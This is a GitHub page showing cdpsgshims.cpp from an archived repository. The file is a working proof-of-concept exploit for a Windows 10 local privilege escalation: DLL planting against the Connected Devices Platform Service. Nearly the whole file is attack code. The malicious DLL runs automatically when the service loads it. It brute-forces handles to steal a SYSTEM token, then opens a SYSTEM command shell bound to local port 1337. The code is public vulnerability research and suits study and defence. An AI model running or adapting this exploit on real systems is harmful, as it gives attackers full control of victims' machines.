This repository has been archived by the owner on Sep 21, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathcdpsgshims.cpp
378 lines (310 loc) · 9.54 KB
/
cdpsgshims.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
/*
* Title:..........: Windows 10 CDPSvc DLL Hijacking LPE - From LOCAL SERVICE to SYSTEM
* Filename........: cdpsgshims.cpp
* GitHub..........: https://github.com/itm4n/CDPSvcDllHijacking
* Date............: 2019-12-10
* Author..........: Clement Labro (@itm4n)
* Description.....: In Windows 10, the Connected Devices Platform Service (CDPSvc) tries to load
* the missing cdpsgshims.dll DLL with a call to LoadLibraryEx() without
* specifying its absolute path. Therefore it's potentially vulerable to DLL
* planting in PATH directories. Withe the ability to execute arbitrary code
* in the context of the service as LOCAL SERVICE, it is possible to bruteforce
* open handles in order to find a valid SYSTEM impersonation token Handle.
* Tested on.......: Windows 10 64bits 1903 (18362.1.amd64fre.19h1_release.190318-1202)
* Credit..........: https://github.com/Re4son/Churrasco/ (Token Kidnapping)
* https://github.com/ohpe/juicy-potato/ (Impersonation)
*/
#pragma comment(lib,"Ws2_32.lib")
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <Windows.h>
#include <lmcons.h>
#include <strsafe.h>
#include <sddl.h>
#pragma warning( disable : 4267 )
#pragma warning( disable : 6387 )
#define DEBUG TRUE
#define BINDPORT 1337
#define BUFSIZE 1024
BOOL IsValidToken(HANDLE hToken);
BOOL IsSystemToken(HANDLE hToken);
BOOL IsTokenWithDebugPrivilege(HANDLE hToken);
HANDLE FindToken();
BOOL EnablePrivilege(LPCWSTR pwszPrivName);
DWORD WINAPI ExploitThread(LPVOID lpParameter);
void StartExploitThread();
typedef struct ThreadData {
USHORT port;
} THREADDATA, * PTHREADDATA;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
StartExploitThread();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void StartExploitThread()
{
PTHREADDATA pThreadData;
pThreadData = (PTHREADDATA)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(THREADDATA));
if (pThreadData != NULL)
{
DWORD dwThreadId = 0;
HANDLE hThread = INVALID_HANDLE_VALUE;
pThreadData->port = BINDPORT;
hThread = CreateThread(NULL, 0, ExploitThread, (void*)pThreadData, 0, &dwThreadId);
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
}
BOOL IsValidToken(HANDLE hToken)
{
DWORD dwSize;
TOKEN_TYPE tokenType; // Is either TokenPrimary of TokenImpersonation
SECURITY_IMPERSONATION_LEVEL impersonationLevel;
dwSize = sizeof(TOKEN_TYPE);
if (GetTokenInformation(hToken, TokenType, &tokenType, dwSize, &dwSize))
{
if (tokenType == TokenImpersonation)
{
dwSize = sizeof(SECURITY_IMPERSONATION_LEVEL);
if (GetTokenInformation(hToken, TokenImpersonationLevel, &impersonationLevel, dwSize, &dwSize))
{
// We want only tokens with either SecurityImpersonation or SecurityDelegation impersonation level
if (impersonationLevel == SecurityImpersonation || impersonationLevel == SecurityDelegation)
{
return TRUE;
}
}
}
}
return FALSE;
}
BOOL IsSystemToken(HANDLE hToken)
{
DWORD dwSize;
// First call to get the buffer size
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize))
{
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
PTOKEN_USER pTokenUser = (PTOKEN_USER)GlobalAlloc(GPTR, dwSize);
if (pTokenUser != NULL)
{
// Second call to get the actual information
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize))
{
LPWSTR pwszSid;
ConvertSidToStringSid(pTokenUser->User.Sid, &pwszSid);
if (pwszSid != NULL && !wcscmp(pwszSid, L"S-1-5-18"))
{
return TRUE;
}
}
}
}
}
return FALSE;
}
BOOL IsTokenWithDebugPrivilege(HANDLE hToken)
{
LUID luid;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
PRIVILEGE_SET privs;
BOOL bPrivPresent = FALSE;
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_VALID_ATTRIBUTES;
if (PrivilegeCheck(hToken, &privs, &bPrivPresent))
{
if (bPrivPresent)
{
return TRUE;
}
}
}
return FALSE;
}
HANDLE FindToken()
{
HANDLE hTarget = INVALID_HANDLE_VALUE;
HANDLE hTargetTmp;
for (DWORD dwSourceHandle = 4; dwSourceHandle < 0xffff; dwSourceHandle += 4)
{
// This is not ideal because we may duplicate our own handles at some point. The problem is
// that bruteforcing the handle without duplicating it first may cause access violations
// and random crashes. There is probably a better way but at least the exploit doesn't
// leave any undesired open handle behind it.
if (!DuplicateHandle(GetCurrentProcess(), (HANDLE)dwSourceHandle, GetCurrentProcess(), &hTargetTmp, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
continue;
}
if (IsValidToken(hTargetTmp))
{
if (IsSystemToken(hTargetTmp))
{
if (hTarget != INVALID_HANDLE_VALUE)
{
CloseHandle(hTarget);
}
DuplicateHandle(GetCurrentProcess(), hTargetTmp, GetCurrentProcess(), &hTarget, 0, FALSE, DUPLICATE_SAME_ACCESS);
if (IsTokenWithDebugPrivilege(hTarget))
{
break;
}
}
}
CloseHandle(hTargetTmp);
}
return hTarget;
}
BOOL EnablePrivilege(LPCWSTR pwszPrivName)
{
LUID luid;
HANDLE hToken, hProcess;
TOKEN_PRIVILEGES tp;
if (!LookupPrivilegeValue(NULL, pwszPrivName, &luid))
{
return FALSE;
}
hProcess = GetCurrentProcess();
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
{
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
return FALSE;
}
return TRUE;
}
DWORD WINAPI ExploitThread(LPVOID lpParameter)
{
PTHREADDATA pThreadData;
SOCKADDR_IN sin;
SOCKET serverSocket;
WSADATA wsaData;
int iResult;
pThreadData = (PTHREADDATA)lpParameter;
// Init WSA
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0)
{
return 1;
}
// Create server socket
serverSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if (serverSocket == INVALID_SOCKET)
{
WSACleanup();
return 2;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sin.sin_port = htons(pThreadData->port);
// Start server
bind(serverSocket, (SOCKADDR*)&sin, sizeof(SOCKADDR_IN));
listen(serverSocket, SOMAXCONN);
// Wait for a connection
SOCKET clientSocket = accept(serverSocket, 0, 0);
if (clientSocket == INVALID_SOCKET)
{
closesocket(serverSocket);
WSACleanup();
return 3;
}
// We don't need the server socket anymore
closesocket(serverSocket);
HANDLE hSystemToken;
const char* msg;
if (EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME))
{
msg = "[*] Searching for a SYSTEM token...\n";
send(clientSocket, msg, strlen(msg), 0);
hSystemToken = FindToken();
if (hSystemToken != INVALID_HANDLE_VALUE)
{
msg = "[+] SYSTEM token found.\n";
send(clientSocket, msg, strlen(msg), 0);
if (IsTokenWithDebugPrivilege(hSystemToken))
{
msg = "[+] Token has SeDebugPrivilege!\n";
send(clientSocket, msg, strlen(msg), 0);
}
else
{
msg = "[!] Couldn't find a token with SeDebugPrivilege.\n";
send(clientSocket, msg, strlen(msg), 0);
}
HANDLE hSystemTokenDup;
if (DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
// Start a new process using the SYSTEM token and map stdin / stdout / stderr to
// the client socket.
PROCESS_INFORMATION pInfo;
STARTUPINFO sInfo;
LPWSTR pwszComspec;
LPWSTR pwszSystemDir;
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
sInfo.cb = sizeof(STARTUPINFO);
sInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sInfo.wShowWindow = SW_HIDE;
sInfo.hStdOutput = (HANDLE)clientSocket;
sInfo.hStdError = (HANDLE)clientSocket;
sInfo.hStdInput = (HANDLE)clientSocket;
pwszComspec = (LPWSTR)malloc(BUFSIZE * sizeof(WCHAR));
GetEnvironmentVariable(L"comspec", pwszComspec, BUFSIZE);
pwszSystemDir = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
GetSystemDirectory(pwszSystemDir, MAX_PATH);
if (CreateProcessAsUser(hSystemTokenDup, pwszComspec, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, pwszSystemDir, &sInfo, &pInfo))
{
msg = "[+] CreateProcessAsUser() OK\n";
send(clientSocket, msg, strlen(msg), 0);
closesocket(serverSocket);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
}
else
{
msg = "[-] CreateProcessAsUser() failed.\n";
send(clientSocket, msg, strlen(msg), 0);
}
CloseHandle(hSystemTokenDup);
}
else
{
msg = "[-] DuplicateTokenEx() failed.\n";
send(clientSocket, msg, strlen(msg), 0);
}
CloseHandle(hSystemToken);
}
else
{
msg = "[-] Failed to find a valid SYSTEM token.\n";
send(clientSocket, msg, strlen(msg), 0);
}
}
else
{
msg = "[-] Failed to enable 'SeAssignPrimaryTokenPrivilege'.\n";
send(clientSocket, msg, strlen(msg), 0);
}
closesocket(clientSocket);
WSACleanup();
return 0;
}